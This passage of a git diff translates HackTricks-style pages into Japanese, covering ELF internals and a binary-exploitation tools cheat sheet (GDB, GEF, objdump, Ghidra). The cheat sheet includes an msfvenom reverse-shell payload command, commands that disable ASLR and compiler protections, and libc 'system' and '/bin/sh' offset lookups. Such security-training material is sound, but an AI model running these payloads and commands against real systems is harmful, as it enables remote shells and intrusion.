000000000001fc58 000000000001fc58 0000fc58 2**3 - CONTENTS, ALLOC, LOAD, DATA - 21 .got 000001a8 000000000001fe58 000000000001fe58 0000fe58 2**3 - CONTENTS, ALLOC, LOAD, DATA - 22 .data 00000170 0000000000020000 0000000000020000 00010000 2**3 - CONTENTS, ALLOC, LOAD, DATA - 23 .bss 00000c68 0000000000020170 0000000000020170 00010170 2**3 - ALLOC - 24 .gnu_debugaltlink 00000049 0000000000000000 0000000000000000 00010170 2**0 - CONTENTS, READONLY - 25 .gnu_debuglink 00000034 0000000000000000 0000000000000000 000101bc 2**2 - CONTENTS, READONLY +0 .interp 0000001b 0000000000000238 0000000000000238 00000238 2**0 +CONTENTS, ALLOC, LOAD, READONLY, DATA +1 .note.gnu.build-id 00000024 0000000000000254 0000000000000254 00000254 2**2 +CONTENTS, ALLOC, LOAD, READONLY, DATA +2 .note.ABI-tag 00000020 0000000000000278 0000000000000278 00000278 2**2 +CONTENTS, ALLOC, LOAD, READONLY, DATA +3 .note.package 0000009c 0000000000000298 0000000000000298 00000298 2**2 +CONTENTS, ALLOC, LOAD, READONLY, DATA +4 .gnu.hash 0000001c 0000000000000338 0000000000000338 00000338 2**3 +CONTENTS, ALLOC, LOAD, READONLY, DATA +5 .dynsym 00000498 0000000000000358 0000000000000358 00000358 2**3 +CONTENTS, ALLOC, LOAD, READONLY, DATA +6 .dynstr 000001fe 00000000000007f0 00000000000007f0 000007f0 2**0 +CONTENTS, ALLOC, LOAD, READONLY, DATA +7 .gnu.version 00000062 00000000000009ee 00000000000009ee 000009ee 2**1 +CONTENTS, ALLOC, LOAD, READONLY, DATA +8 .gnu.version_r 00000050 0000000000000a50 0000000000000a50 00000a50 2**3 +CONTENTS, ALLOC, LOAD, READONLY, DATA +9 .rela.dyn 00000228 0000000000000aa0 0000000000000aa0 00000aa0 2**3 +CONTENTS, ALLOC, LOAD, READONLY, DATA +10 .rela.plt 000003c0 0000000000000cc8 0000000000000cc8 00000cc8 2**3 +CONTENTS, ALLOC, LOAD, READONLY, DATA +11 .init 00000018 0000000000001088 0000000000001088 00001088 2**2 +CONTENTS, ALLOC, LOAD, READONLY, CODE +12 .plt 000002a0 00000000000010a0 00000000000010a0 000010a0 2**4 +CONTENTS, ALLOC, LOAD, READONLY, CODE +13 .text 00001c34 0000000000001340 0000000000001340 00001340 2**6 +CONTENTS, ALLOC, LOAD, READONLY, CODE +14 .fini 00000014 0000000000002f74 0000000000002f74 00002f74 2**2 +CONTENTS, ALLOC, LOAD, READONLY, CODE +15 .rodata 00000686 0000000000002f88 0000000000002f88 00002f88 2**3 +CONTENTS, ALLOC, LOAD, READONLY, DATA +16 .eh_frame_hdr 000001b4 0000000000003610 0000000000003610 00003610 2**2 +CONTENTS, ALLOC, LOAD, READONLY, DATA +17 .eh_frame 000007b4 00000000000037c8 00000000000037c8 000037c8 2**3 +CONTENTS, ALLOC, LOAD, READONLY, DATA +18 .init_array 00000008 000000000001fc48 000000000001fc48 0000fc48 2**3 +CONTENTS, ALLOC, LOAD, DATA +19 .fini_array 00000008 000000000001fc50 000000000001fc50 0000fc50 2**3 +CONTENTS, ALLOC, LOAD, DATA +20 .dynamic 00000200 000000000001fc58 000000000001fc58 0000fc58 2**3 +CONTENTS, ALLOC, LOAD, DATA +21 .got 000001a8 000000000001fe58 000000000001fe58 0000fe58 2**3 +CONTENTS, ALLOC, LOAD, DATA +22 .data 00000170 0000000000020000 0000000000020000 00010000 2**3 +CONTENTS, ALLOC, LOAD, DATA +23 .bss 00000c68 0000000000020170 0000000000020170 00010170 2**3 +ALLOC +24 .gnu_debugaltlink 00000049 0000000000000000 0000000000000000 00010170 2**0 +CONTENTS, READONLY +25 .gnu_debuglink 00000034 0000000000000000 0000000000000000 000101bc 2**2 +CONTENTS, READONLY ``` +それは、位置、オフセット、権限だけでなく、そのセクションの**データの種類**も示しています。 -It also indicates the location, offset, permissions but also the **type of data** it section has. +### メタセクション -### Meta Sections +- **文字列テーブル**: ELFファイルに必要なすべての文字列を含んでいます(ただし、プログラムで実際に使用されるものは含まれていません)。例えば、`.text`や`.data`のようなセクション名が含まれています。そして、もし`.text`が文字列テーブルのオフセット45にある場合、**name**フィールドには番号**45**が使用されます。 +- 文字列テーブルの場所を見つけるために、ELFは文字列テーブルへのポインタを含んでいます。 +- **シンボルテーブル**: 名前(文字列テーブルのオフセット)、アドレス、サイズ、シンボルに関するその他のメタデータなど、シンボルに関する情報を含んでいます。 -- **String table**: It contains all the strings needed by the ELF file (but not the ones actually used by the program). For example it contains sections names like `.text` or `.data`. And if `.text` is at offset 45 in the strings table it will use the number **45** in the **name** field. - - In order to find where the string table is, the ELF contains a pointer to the string table. -- **Symbol table**: It contains info about the symbols like the name (offset in the strings table), address, size and more metadata about the symbol. +### メインセクション -### Main Sections +- **`.text`**: 実行するプログラムの命令。 +- **`.data`**: プログラム内で定義された値を持つグローバル変数。 +- **`.bss`**: 初期化されていないグローバル変数(またはゼロに初期化)。ここにある変数は自動的にゼロに初期化されるため、バイナリに無駄なゼロが追加されるのを防ぎます。 +- **`.rodata`**: 定数グローバル変数(読み取り専用セクション)。 +- **`.tdata`**および**`.tbss`**: スレッドローカル変数が使用されるときの.dataおよび.bssのようなもの(C++の`__thread_local`またはCの`__thread`)。 +- **`.dynamic`**: 下記を参照。 -- **`.text`**: The instruction of the program to run. -- **`.data`**: Global variables with a defined value in the program. -- **`.bss`**: Global variables left uninitialized (or init to zero). Variables here are automatically intialized to zero therefore preventing useless zeroes to being added to the binary. -- **`.rodata`**: Constant global variables (read-only section). -- **`.tdata`** and **`.tbss`**: Like the .data and .bss when thread-local variables are used (`__thread_local` in C++ or `__thread` in C). -- **`.dynamic`**: See below. - -## Symbols - -Symbols is a named location in the program which could be a function, a global data object, thread-local variables... +## シンボル +シンボルは、関数、グローバルデータオブジェクト、スレッドローカル変数など、プログラム内の名前付きの位置です。 ``` readelf -s lnstat Symbol table '.dynsym' contains 49 entries: - Num: Value Size Type Bind Vis Ndx Name - 0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND - 1: 0000000000001088 0 SECTION LOCAL DEFAULT 12 .init - 2: 0000000000020000 0 SECTION LOCAL DEFAULT 23 .data - 3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strtok@GLIBC_2.17 (2) - 4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND s[...]@GLIBC_2.17 (2) - 5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strlen@GLIBC_2.17 (2) - 6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fputs@GLIBC_2.17 (2) - 7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.17 (2) - 8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND _[...]@GLIBC_2.34 (3) - 9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND perror@GLIBC_2.17 (2) - 10: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterT[...] - 11: 0000000000000000 0 FUNC WEAK DEFAULT UND _[...]@GLIBC_2.17 (2) - 12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND putc@GLIBC_2.17 (2) - [...] +Num: Value Size Type Bind Vis Ndx Name +0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND +1: 0000000000001088 0 SECTION LOCAL DEFAULT 12 .init +2: 0000000000020000 0 SECTION LOCAL DEFAULT 23 .data +3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strtok@GLIBC_2.17 (2) +4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND s[...]@GLIBC_2.17 (2) +5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strlen@GLIBC_2.17 (2) +6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fputs@GLIBC_2.17 (2) +7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.17 (2) +8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND _[...]@GLIBC_2.34 (3) +9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND perror@GLIBC_2.17 (2) +10: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterT[...] +11: 0000000000000000 0 FUNC WEAK DEFAULT UND _[...]@GLIBC_2.17 (2) +12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND putc@GLIBC_2.17 (2) +[...] ``` +各シンボルエントリには以下が含まれます: -Each symbol entry contains: - -- **Name** -- **Binding attributes** (weak, local or global): A local symbol can only be accessed by the program itself while the global symbol are shared outside the program. A weak object is for example a function that can be overridden by a different one. -- **Type**: NOTYPE (no type specified), OBJECT (global data var), FUNC (function), SECTION (section), FILE (source-code file for debuggers), TLS (thread-local variable), GNU_IFUNC (indirect function for relocation) -- **Section** index where it's located -- **Value** (address sin memory) -- **Size** - -## Dynamic Section +- **名前** +- **バインディング属性**(弱い、ローカル、またはグローバル):ローカルシンボルはプログラム自体によってのみアクセス可能ですが、グローバルシンボルはプログラムの外部で共有されます。弱いオブジェクトは、例えば異なる関数によってオーバーライド可能な関数です。 +- **タイプ**:NOTYPE(タイプ指定なし)、OBJECT(グローバルデータ変数)、FUNC(関数)、SECTION(セクション)、FILE(デバッガ用のソースコードファイル)、TLS(スレッドローカル変数)、GNU_IFUNC(再配置用の間接関数) +- **セクション** インデックス(位置) +- **値**(メモリ内のアドレス) +- **サイズ** +## 動的セクション ``` readelf -d lnstat Dynamic section at offset 0xfc58 contains 28 entries: - Tag Type Name/Value - 0x0000000000000001 (NEEDED) Shared library: [libc.so.6] - 0x0000000000000001 (NEEDED) Shared library: [ld-linux-aarch64.so.1] - 0x000000000000000c (INIT) 0x1088 - 0x000000000000000d (FINI) 0x2f74 - 0x0000000000000019 (INIT_ARRAY) 0x1fc48 - 0x000000000000001b (INIT_ARRAYSZ) 8 (bytes) - 0x000000000000001a (FINI_ARRAY) 0x1fc50 - 0x000000000000001c (FINI_ARRAYSZ) 8 (bytes) - 0x000000006ffffef5 (GNU_HASH) 0x338 - 0x0000000000000005 (STRTAB) 0x7f0 - 0x0000000000000006 (SYMTAB) 0x358 - 0x000000000000000a (STRSZ) 510 (bytes) - 0x000000000000000b (SYMENT) 24 (bytes) - 0x0000000000000015 (DEBUG) 0x0 - 0x0000000000000003 (PLTGOT) 0x1fe58 - 0x0000000000000002 (PLTRELSZ) 960 (bytes) - 0x0000000000000014 (PLTREL) RELA - 0x0000000000000017 (JMPREL) 0xcc8 - 0x0000000000000007 (RELA) 0xaa0 - 0x0000000000000008 (RELASZ) 552 (bytes) - 0x0000000000000009 (RELAENT) 24 (bytes) - 0x000000000000001e (FLAGS) BIND_NOW - 0x000000006ffffffb (FLAGS_1) Flags: NOW PIE - 0x000000006ffffffe (VERNEED) 0xa50 - 0x000000006fffffff (VERNEEDNUM) 2 - 0x000000006ffffff0 (VERSYM) 0x9ee - 0x000000006ffffff9 (RELACOUNT) 15 - 0x0000000000000000 (NULL) 0x0 +Tag Type Name/Value +0x0000000000000001 (NEEDED) Shared library: [libc.so.6] +0x0000000000000001 (NEEDED) Shared library: [ld-linux-aarch64.so.1] +0x000000000000000c (INIT) 0x1088 +0x000000000000000d (FINI) 0x2f74 +0x0000000000000019 (INIT_ARRAY) 0x1fc48 +0x000000000000001b (INIT_ARRAYSZ) 8 (bytes) +0x000000000000001a (FINI_ARRAY) 0x1fc50 +0x000000000000001c (FINI_ARRAYSZ) 8 (bytes) +0x000000006ffffef5 (GNU_HASH) 0x338 +0x0000000000000005 (STRTAB) 0x7f0 +0x0000000000000006 (SYMTAB) 0x358 +0x000000000000000a (STRSZ) 510 (bytes) +0x000000000000000b (SYMENT) 24 (bytes) +0x0000000000000015 (DEBUG) 0x0 +0x0000000000000003 (PLTGOT) 0x1fe58 +0x0000000000000002 (PLTRELSZ) 960 (bytes) +0x0000000000000014 (PLTREL) RELA +0x0000000000000017 (JMPREL) 0xcc8 +0x0000000000000007 (RELA) 0xaa0 +0x0000000000000008 (RELASZ) 552 (bytes) +0x0000000000000009 (RELAENT) 24 (bytes) +0x000000000000001e (FLAGS) BIND_NOW +0x000000006ffffffb (FLAGS_1) Flags: NOW PIE +0x000000006ffffffe (VERNEED) 0xa50 +0x000000006fffffff (VERNEEDNUM) 2 +0x000000006ffffff0 (VERSYM) 0x9ee +0x000000006ffffff9 (RELACOUNT) 15 +0x0000000000000000 (NULL) 0x0 ``` +NEEDEDディレクトリは、プログラムが**言及されたライブラリをロードする必要がある**ことを示しています。NEEDEDディレクトリは、共有**ライブラリが完全に動作し、使用可能になる**と完了します。 -The NEEDED directory indicates that the program **needs to load the mentioned library** in order to continue. The NEEDED directory completes once the shared **library is fully operational and ready** for use. - -## Relocations - -The loader also must relocate dependencies after having loaded them. These relocations are indicated in the relocation table in formats REL or RELA and the number of relocations is given in the dynamic sections RELSZ or RELASZ. +## リロケーション +ローダーは、依存関係をロードした後にそれらをリロケートする必要があります。これらのリロケーションは、リロケーションテーブルのRELまたはRELA形式で示され、リロケーションの数は動的セクションのRELSZまたはRELASZで示されます。 ``` readelf -r lnstat Relocation section '.rela.dyn' at offset 0xaa0 contains 23 entries: - Offset Info Type Sym. Value Sym. Name + Addend +Offset Info Type Sym. Value Sym. Name + Addend 00000001fc48 000000000403 R_AARCH64_RELATIV 1d10 00000001fc50 000000000403 R_AARCH64_RELATIV 1cc0 00000001fff0 000000000403 R_AARCH64_RELATIV 1340 @@ -273,7 +264,7 @@ Relocation section '.rela.dyn' at offset 0xaa0 contains 23 entries: 00000001fff8 002e00000401 R_AARCH64_GLOB_DA 0000000000000000 _ITM_registerTMCl[...] + 0 Relocation section '.rela.plt' at offset 0xcc8 contains 40 entries: - Offset Info Type Sym. Value Sym. Name + Addend +Offset Info Type Sym. Value Sym. Name + Addend 00000001fe70 000300000402 R_AARCH64_JUMP_SL 0000000000000000 strtok@GLIBC_2.17 + 0 00000001fe78 000400000402 R_AARCH64_JUMP_SL 0000000000000000 strtoul@GLIBC_2.17 + 0 00000001fe80 000500000402 R_AARCH64_JUMP_SL 0000000000000000 strlen@GLIBC_2.17 + 0 @@ -315,82 +306,77 @@ Relocation section '.rela.plt' at offset 0xcc8 contains 40 entries: 00000001ffa0 002f00000402 R_AARCH64_JUMP_SL 0000000000000000 __assert_fail@GLIBC_2.17 + 0 00000001ffa8 003000000402 R_AARCH64_JUMP_SL 0000000000000000 fgets@GLIBC_2.17 + 0 ``` +### 静的再配置 -### Static Relocations +もし**プログラムが好ましいアドレス**(通常は0x400000)とは異なる場所にロードされる場合、アドレスがすでに使用されているか、**ASLR**やその他の理由によるもので、静的再配置は**ポインタを修正**します。これらのポインタは、バイナリが好ましいアドレスにロードされることを期待していた値を持っています。 -If the **program is loaded in a place different** from the preferred address (usually 0x400000) because the address is already used or because of **ASLR** or any other reason, a static relocation **corrects pointers** that had values expecting the binary to be loaded in the preferred address. +例えば、`R_AARCH64_RELATIV`型の任意のセクションは、再配置バイアスに加算値を加えたアドレスを修正する必要があります。 -For example any section of type `R_AARCH64_RELATIV` should have modified the address at the relocation bias plus the addend value. +### 動的再配置とGOT -### Dynamic Relocations and GOT +再配置は外部シンボル(依存関係からの関数など)を参照することもあります。例えば、libCからのmalloc関数です。次に、ローダーはlibCをアドレスにロードする際、malloc関数がロードされている場所を確認し、そのアドレスをGOT(グローバルオフセットテーブル)テーブルに書き込みます(再配置テーブルで示されている)mallocのアドレスが指定されるべき場所です。 -The relocation could also reference an external symbol (like a function from a dependency). Like the function malloc from libC. Then, the loader when loading libC in an address checking where the malloc function is loaded, it will write this address in the GOT (Global Offset Table) table (indicated in the relocation table) where the address of malloc should be specified. +### プロシージャリンクテーブル -### Procedure Linkage Table +PLTセクションは遅延バインディングを実行することを可能にします。これは、関数の位置の解決が最初にアクセスされたときに行われることを意味します。 -The PLT section allows to perform lazy binding, which means that the resolution of the location of a function will be performed the first time it's accessed. +したがって、プログラムがmallocを呼び出すと、実際にはPLT内の`malloc`の対応する位置(`malloc@plt`)を呼び出します。最初に呼び出されたときに`malloc`のアドレスを解決し、それを保存するので、次回`malloc`が呼び出されると、そのアドレスがPLTコードの代わりに使用されます。 -So when a program calls to malloc, it actually calls the corresponding location of `malloc` in the PLT (`malloc@plt`). The first time it's called it resolves the address of `malloc` and stores it so next time `malloc` is called, that address is used instead of the PLT code. - -## Program Initialization - -After the program has been loaded it's time for it to run. However, the first code that is run i**sn't always the `main`** function. This is because for example in C++ if a **global variable is an object of a class**, this object must be **initialized** **before** main runs, like in: +## プログラム初期化 +プログラムがロードされた後、実行する時間です。しかし、最初に実行されるコードは**必ずしも`main`**関数ではありません。これは、例えばC++では**グローバル変数がクラスのオブジェクト**である場合、このオブジェクトはmainが実行される前に**初期化**されなければならないからです。 ```cpp #include // g++ autoinit.cpp -o autoinit class AutoInit { - public: - AutoInit() { - printf("Hello AutoInit!\n"); - } - ~AutoInit() { - printf("Goodbye AutoInit!\n"); - } +public: +AutoInit() { +printf("Hello AutoInit!\n"); +} +~AutoInit() { +printf("Goodbye AutoInit!\n"); +} }; AutoInit autoInit; int main() { - printf("Main\n"); - return 0; +printf("Main\n"); +return 0; } ``` +これらのグローバル変数は `.data` または `.bss` に位置していますが、`__CTOR_LIST__` と `__DTOR_LIST__` のリストには、初期化および破棄するオブジェクトが順序を保って格納されています。 -Note that these global variables are located in `.data` or `.bss` but in the lists `__CTOR_LIST__` and `__DTOR_LIST__` the objects to initialize and destruct are stored in order to keep track of them. - -From C code it's possible to obtain the same result using the GNU extensions : - +C コードからは、GNU 拡張を使用して同じ結果を得ることが可能です : ```c __attributte__((constructor)) //Add a constructor to execute before __attributte__((destructor)) //Add to the destructor list ``` +コンパイラの観点から、`main` 関数が実行される前後にこれらのアクションを実行するために、`init` 関数と `fini` 関数を作成することが可能で、これらは動的セクションで **`INIT`** と **`FIN`** として参照され、ELF の `init` および `fini` セクションに配置されます。 -From a compiler perspective, to execute these actions before and after the `main` function is executed, it's possible to create a `init` function and a `fini` function which would be referenced in the dynamic section as **`INIT`** and **`FIN`**. and are placed in the `init` and `fini` sections of the ELF. +他のオプションとして、**`INIT_ARRAY`** および **`FINI_ARRAY`** エントリの **`__CTOR_LIST__`** および **`__DTOR_LIST__`** リストを参照することが挙げられ、これらの長さは **`INIT_ARRAYSZ`** および **`FINI_ARRAYSZ`** によって示されます。各エントリは引数なしで呼び出される関数ポインタです。 -The other option, as mentioned, is to reference the lists **`__CTOR_LIST__`** and **`__DTOR_LIST__`** in the **`INIT_ARRAY`** and **`FINI_ARRAY`** entries in the dynamic section and the length of these are indicated by **`INIT_ARRAYSZ`** and **`FINI_ARRAYSZ`**. Each entry is a function pointer that will be called without arguments. +さらに、**`INIT_ARRAY`** ポインタの **前に** 実行される **ポインタ** を持つ **`PREINIT_ARRAY`** を持つことも可能です。 -Moreover, it's also possible to have a **`PREINIT_ARRAY`** with **pointers** that will be executed **before** the **`INIT_ARRAY`** pointers. +### 初期化順序 -### Initialization Order +1. プログラムがメモリにロードされ、静的グローバル変数が **`.data`** で初期化され、未初期化のものは **`.bss`** でゼロにされます。 +2. プログラムまたはライブラリのすべての **依存関係** が **初期化** され、**動的リンク** が実行されます。 +3. **`PREINIT_ARRAY`** 関数が実行されます。 +4. **`INIT_ARRAY`** 関数が実行されます。 +5. **`INIT`** エントリがあれば、それが呼び出されます。 +6. ライブラリの場合、dlopen はここで終了し、プログラムの場合は **実際のエントリポイント**(`main` 関数)を呼び出す時間です。 -1. The program is loaded into memory, static global variables are initialized in **`.data`** and unitialized ones zeroed in **`.bss`**. -2. All **dependencies** for the program or libraries are **initialized** and the the **dynamic linking** is executed. -3. **`PREINIT_ARRAY`** functions are executed. -4. **`INIT_ARRAY`** functions are executed. -5. If there is a **`INIT`** entry it's called. -6. If a library, dlopen ends here, if a program, it's time to call the **real entry point** (`main` function). +## スレッドローカルストレージ (TLS) -## Thread-Local Storage (TLS) +C++ ではキーワード **`__thread_local`** または GNU 拡張 **`__thread`** を使用して定義されます。 -They are defined using the keyword **`__thread_local`** in C++ or the GNU extension **`__thread`**. +各スレッドはこの変数のユニークな場所を維持するため、スレッドのみがその変数にアクセスできます。 -Each thread will maintain a unique location for this variable so only the thread can access its variable. +これが使用されると、ELF では **`.tdata`** および **`.tbss`** セクションが使用されます。これは TLS 用の `.data`(初期化済み)および `.bss`(未初期化)に似ています。 -When this is used the sections **`.tdata`** and **`.tbss`** are used in the ELF. Which are like `.data` (initialized) and `.bss` (not initialized) but for TLS. +各変数は TLS ヘッダーにエントリを持ち、サイズと TLS オフセットを指定します。これはスレッドのローカルデータ領域で使用されるオフセットです。 -Each variable will hace an entry in the TLS header specifying the size and the TLS offset, which is the offset it will use in the thread's local data area. - -The `__TLS_MODULE_BASE` is a symbol used to refer to the base address of the thread local storage and points to the area in memory that contains all the thread-local data of a module. +`__TLS_MODULE_BASE` はスレッドローカルストレージのベースアドレスを参照するために使用されるシンボルで、モジュールのすべてのスレッドローカルデータを含むメモリ内の領域を指します。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md index 70aa57cc5..452fc0a67 100644 --- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md +++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md @@ -1,9 +1,8 @@ -# Exploiting Tools +# 利用ツール {{#include ../../../banners/hacktricks-training.md}} ## Metasploit - ```bash pattern_create.rb -l 3000 #Length pattern_offset.rb -l 3000 -q 5f97d534 #Search offset @@ -11,31 +10,23 @@ nasm_shell.rb nasm> jmp esp #Get opcodes msfelfscan -j esi /opt/fusion/bin/level01 ``` - -### Shellcodes - +### シェルコード ```bash msfvenom /p windows/shell_reverse_tcp LHOST= LPORT= [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c ``` - ## GDB -### Install - +### インストール ```bash apt-get install gdb ``` - -### Parameters - +### パラメータ ```bash -q # No show banner -x # Auto-execute GDB instructions from here -p # Attach to process ``` - -### Instructions - +### 指示 ```bash run # Execute start # Start and break in main @@ -81,11 +72,9 @@ x/s pointer # String pointed by the pointer x/xw &pointer # Address where the pointer is located x/i $eip # Instructions of the EIP ``` - ### [GEF](https://github.com/hugsy/gef) -You could optionally use [**this fork of GE**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef) which contains more interesting instructions. - +より興味深い指示が含まれている[**このGEのフォーク**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef)をオプションで使用することができます。 ```bash help memory # Get help on memory command canary # Search for canary value in memory @@ -118,34 +107,32 @@ dump binary memory /tmp/dump.bin 0x200000000 0x20000c350 1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it 2- ef➤ i f Stack level 0, frame at 0x7fffffffddd0: - rip = 0x400cd3; saved rip = 0x6261617762616176 - called by frame at 0x7fffffffddd8 - Arglist at 0x7fffffffdcf8, args: - Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0 - Saved registers: - rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8 +rip = 0x400cd3; saved rip = 0x6261617762616176 +called by frame at 0x7fffffffddd8 +Arglist at 0x7fffffffdcf8, args: +Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0 +Saved registers: +rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8 gef➤ pattern search 0x6261617762616176 [+] Searching for '0x6261617762616176' [+] Found at offset 184 (little-endian search) likely ``` - ### Tricks -#### GDB same addresses +#### GDB 同じアドレス -While debugging GDB will have **slightly different addresses than the used by the binary when executed.** You can make GDB have the same addresses by doing: +デバッグ中、GDB は **実行時にバイナリが使用するアドレスとはわずかに異なるアドレスを持ちます。** GDB に同じアドレスを持たせるには、次のようにします: - `unset env LINES` - `unset env COLUMNS` -- `set env _=` _Put the absolute path to the binary_ -- Exploit the binary using the same absolute route -- `PWD` and `OLDPWD` must be the same when using GDB and when exploiting the binary +- `set env _=` _バイナリの絶対パスを入力します_ +- 同じ絶対ルートを使用してバイナリをエクスプロイトします +- `PWD` と `OLDPWD` は、GDB を使用しているときとバイナリをエクスプロイトしているときで同じでなければなりません -#### Backtrace to find functions called - -When you have a **statically linked binary** all the functions will belong to the binary (and no to external libraries). In this case it will be difficult to **identify the flow that the binary follows to for example ask for user input**.\ -You can easily identify this flow by **running** the binary with **gdb** until you are asked for input. Then, stop it with **CTRL+C** and use the **`bt`** (**backtrace**) command to see the functions called: +#### バックトレースで呼び出された関数を見つける +**静的リンクされたバイナリ**を持っている場合、すべての関数はバイナリに属します(外部ライブラリには属しません)。この場合、**バイナリがユーザー入力を要求するためのフローを特定するのは難しいです。**\ +このフローは、**gdb** でバイナリを実行し、入力を求められるまで簡単に特定できます。その後、**CTRL+C** で停止し、**`bt`** (**バックトレース**)コマンドを使用して呼び出された関数を確認します: ``` gef➤ bt #0 0x00000000004498ae in ?? () @@ -154,87 +141,80 @@ gef➤ bt #3 0x00000000004011a9 in ?? () #4 0x0000000000400a5a in ?? () ``` +### GDBサーバー -### GDB server - -`gdbserver --multi 0.0.0.0:23947` (in IDA you have to fill the absolute path of the executable in the Linux machine and in the Windows machine) +`gdbserver --multi 0.0.0.0:23947` (IDAでは、Linuxマシンの実行可能ファイルの絶対パスを入力する必要があります。また、Windowsマシンでも同様です) ## Ghidra -### Find stack offset +### スタックオフセットの特定 -**Ghidra** is very useful to find the the **offset** for a **buffer overflow thanks to the information about the position of the local variables.**\ -For example, in the example below, a buffer flow in `local_bc` indicates that you need an offset of `0xbc`. Moreover, if `local_10` is a canary cookie it indicates that to overwrite it from `local_bc` there is an offset of `0xac`.\ +**Ghidra**は、**ローカル変数の位置に関する情報のおかげで、バッファオーバーフローのための**オフセット**を見つけるのに非常に便利です。**\ +例えば、以下の例では、`local_bc`のバッファフローは、`0xbc`のオフセットが必要であることを示しています。さらに、`local_10`がカナリークッキーである場合、`local_bc`からそれを上書きするためには`0xac`のオフセットが必要であることを示しています。\ &#xNAN;_Remember that the first 0x08 from where the RIP is saved belongs to the RBP._ ![](<../../../images/image (1061).png>) ## qtool - ```bash qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog ``` - -Get every opcode executed in the program. +プログラムで実行されるすべてのオペコードを取得します。 ## GCC -**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compile without protections\ -&#xNAN;**-o** --> Output\ -&#xNAN;**-g** --> Save code (GDB will be able to see it)\ -**echo 0 > /proc/sys/kernel/randomize_va_space** --> To deactivate the ASLR in linux +**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> 保護なしでコンパイル\ +&#xNAN;**-o** --> 出力\ +&#xNAN;**-g** --> コードを保存(GDBが見ることができる)\ +**echo 0 > /proc/sys/kernel/randomize_va_space** --> LinuxでASLRを無効にするため -**To compile a shellcode:**\ -**nasm -f elf assembly.asm** --> return a ".o"\ -**ld assembly.o -o shellcodeout** --> Executable +**シェルコードをコンパイルするには:**\ +**nasm -f elf assembly.asm** --> ".o"を返す\ +**ld assembly.o -o shellcodeout** --> 実行可能 ## Objdump -**-d** --> **Disassemble executable** sections (see opcodes of a compiled shellcode, find ROP Gadgets, find function address...)\ -&#xNAN;**-Mintel** --> **Intel** syntax\ -&#xNAN;**-t** --> **Symbols** table\ -&#xNAN;**-D** --> **Disassemble all** (address of static variable)\ -&#xNAN;**-s -j .dtors** --> dtors section\ -&#xNAN;**-s -j .got** --> got section\ --D -s -j .plt --> **plt** section **decompiled**\ -&#xNAN;**-TR** --> **Relocations**\ -**ojdump -t --dynamic-relo ./exec | grep puts** --> Address of "puts" to modify in GOT\ -**objdump -D ./exec | grep "VAR_NAME"** --> Address or a static variable (those are stored in DATA section). +**-d** --> **実行可能**セクションを逆アセンブル(コンパイルされたシェルコードのオペコードを確認、ROPガジェットを見つける、関数アドレスを見つける...)\ +&#xNAN;**-Mintel** --> **Intel**構文\ +&#xNAN;**-t** --> **シンボル**テーブル\ +&#xNAN;**-D** --> **すべてを逆アセンブル**(静的変数のアドレス)\ +&#xNAN;**-s -j .dtors** --> dtorsセクション\ +&#xNAN;**-s -j .got** --> gotセクション\ +-D -s -j .plt --> **plt**セクション **逆コンパイル**\ +&#xNAN;**-TR** --> **再配置**\ +**ojdump -t --dynamic-relo ./exec | grep puts** --> GOTで修正するための"puts"のアドレス\ +**objdump -D ./exec | grep "VAR_NAME"** --> 静的変数のアドレス(これらはDATAセクションに格納されます)。 -## Core dumps +## コアダンプ -1. Run `ulimit -c unlimited` before starting my program -2. Run `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` +1. プログラムを開始する前に `ulimit -c unlimited` を実行します +2. `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` を実行します 3. sudo gdb --core=\ --quiet -## More +## もっと -**ldd executable | grep libc.so.6** --> Address (if ASLR, then this change every time)\ -**for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> Loop to see if the address changes a lot\ -**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset of "system"\ -**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset of "/bin/sh" +**ldd executable | grep libc.so.6** --> アドレス(ASLRの場合、毎回変わります)\ +**for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> アドレスが頻繁に変わるかどうかを確認するためのループ\ +**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> "system"のオフセット\ +**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> 